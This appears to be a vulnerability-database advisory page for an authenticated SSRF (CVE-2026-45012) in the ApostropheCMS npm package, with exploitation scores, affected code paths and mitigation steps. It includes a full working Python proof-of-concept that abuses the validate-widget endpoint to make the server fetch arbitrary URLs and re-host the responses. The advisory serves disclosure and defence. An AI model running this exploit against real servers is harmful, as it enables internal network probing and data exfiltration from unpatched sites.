Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-45012 — apostrophe

HIGH

CVE-2026-45012 is a high-severity (CVSS 7.6) Server-Side Request Forgery (SSRF) vulnerability in apostrophe. No vendor fix is recorded yet; mitigation options are listed below.

Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget

Also known asGHSA-pr28-mf3q-qpg6
Published
Jun 12, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45012.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-45012 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

8other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
apostrophenpm
7Kdownloads / week

Description

Summary

ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

Details

The vulnerable flow is in the rich-text widget sanitizer:

  • packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js
  • packages/apostrophe/modules/@apostrophecms/area/index.js
  • packages/apostrophe/modules/@apostrophecms/widget-type/index.js

Relevant behavior:

  1. The backend accepts a widget payload containing import.html.
  2. It parses <img src=...> values from that HTML.
  3. For each image, it resolves the URL with:
    • new URL(src, input.import.baseUrl || self.apos.baseUrl)
  4. It then performs a server-side fetch(url).
  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

This is reachable during widget validation through:

  • POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft

PoC

  1. Start a local HTTP server with a valid PNG:
     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
  1. Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
  1. Example usage:
     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image
  1. Expected result:
    • The local listener receives: GET /secret.png HTTP/1.1
    • The API response includes a rewritten Apostrophe image URL and imageIds.
    • The generated image URL can then be fetched through the application.

Additional note:

  • If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

Impact

An authenticated user with permission to submit or edit rich-text widget content can:

  • trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
  • perform blind or semi-blind internal port and service discovery
  • exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npmapostropheall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of apostrophe has shipped for CVE-2026-45012 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. ### Details The vulnerable flow is in the rich-text widget sanitizer: - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js` - `packages/apostrophe/modules/@apostrophecms/ar
O3 Security · Impact-Aware SCA

Is CVE-2026-45012 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-45012: apostrophe SSRF (High 7.6) | O3 Security